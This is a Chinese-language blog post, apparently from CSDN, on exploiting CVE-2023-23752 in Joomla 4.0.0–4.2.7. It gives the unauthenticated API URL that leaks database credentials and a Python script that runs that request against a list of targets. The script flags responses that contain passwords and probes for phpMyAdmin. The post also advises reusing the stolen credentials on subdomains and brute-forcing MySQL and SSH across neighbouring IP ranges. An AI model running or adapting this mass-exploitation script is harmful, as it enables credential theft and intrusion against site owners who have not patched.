2.joomla-cve-2023-23752_exp编写

0x01 漏洞详情

  • 项目: Joomla!
  • 子项目: CMS
  • 影响:严重
  • 严重性: 高
  • 概率:高
  • 版本: 4.0.0-4.2.7
  • 利用类型:不正确的访问控制
  • 报告日期: 2023-02-13
  • 修复日期: 2023-02-16
  • CVE 编号: CVE-2023-23752

其实就是一个未授权接口,访问后就可以读取数据库密码,如果单单利用该漏洞其实干不了多大事。其实就利用到我们的渗透思路。
1.判断漏洞的同时判断是否存在phpmyadmin
2.如果不存在phpmyadmin或者adminer此类的东西我们又该如何利用?收集子域名批量判断是否存在phpmyadmin用该漏洞获取到的数据库密码去尝试子域名的phpmyadmin。用该账号密码批量爆破公网c段的mysql或者ssh服务。

如何判断目标cms是否为joomla,当然常见的可以通过一些扫描工具,如果是手工的话我们可以查看一些url特征,例如前台的一些文章为:http://www.redteamxxx.com/index.php/xxxx这类的,或者通过joomla后台url来判断:http://www.redteamxxx.com/administrator/。

0x02 受影响的版本

Joomla! CMS 版本 4.0.0-4.2.7

0x03 poc

这里就用网上的图了,懒得搭建了。

/api/index.php/v1/config/application?public=true

在这里插入图片描述
意思其实就是一个未授权接口,访问后就会回显数据库账号密码。
在这里插入图片描述
可以看到访问该url后回显数据库密码,所以该漏洞要配合phpmyadmin或者开放3306才能组合利用。
这里我们就判断是否存在phpmyadmin。
同理读取 url.txt 。然后访问该完整的url判断状态码。

import requests,warnings
from requests.packages import urllib3
urllib3.disable_warnings()
warnings.filterwarnings("ignore")
f = open("url.txt","r")
lines = f.readlines()
for line in lines:
	url = line.strip()
	print("[*]try to fuck "+url)
	if(url.endswith('/')):
		url = url[:-1]
	payload_url = url + "/api/index.php/v1/config/application?public=true"

然后获取相应包,如果存在漏洞那么相应包就会回显 password 关键字,所以我们只需要判断该关键字
是否在响应包即可。最终判断是否存在phpmyadmin目录。

import requests,warnings
from requests.packages import urllib3
urllib3.disable_warnings()
warnings.filterwarnings("ignore")
f = open("url.txt","r")
lines = f.readlines()
for line in lines:
	url = line.strip()
	print("[*]try to fuck "+url)
	if(url.endswith('/')):
		url = url[:-1]
	payload_url = url + "/api/index.php/v1/config/application?public=true"
	directories = ['/phpmyadmin/', '/phpMyAdmin/', '/pma/','/PMA/']
	try:
		response = requests.get(payload_url,timeout=5)
		status_code = response.status_code
		if(status_code) == 200:
			if("password" in response.text):
				print("[+]"+payload_url+" is ok!")
				for directory in directories:
					mysql_url = url + directory
					response2 = requests.get(mysql_url,timeout=5).status_code
					if(response2 != 404):
						print("[+]"+mysql_url+" is exist")
						f = open("pma.txt","a")
						f.write(mysql_url+"\r\n")
						f.close()
				f = open("result.txt","a")
				f.write(url+"\r\n")
				f.close()
	except Exception:
		continue

在这里插入图片描述

  • 0
    点赞
  • 0
    收藏
    觉得还不错? 一键收藏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值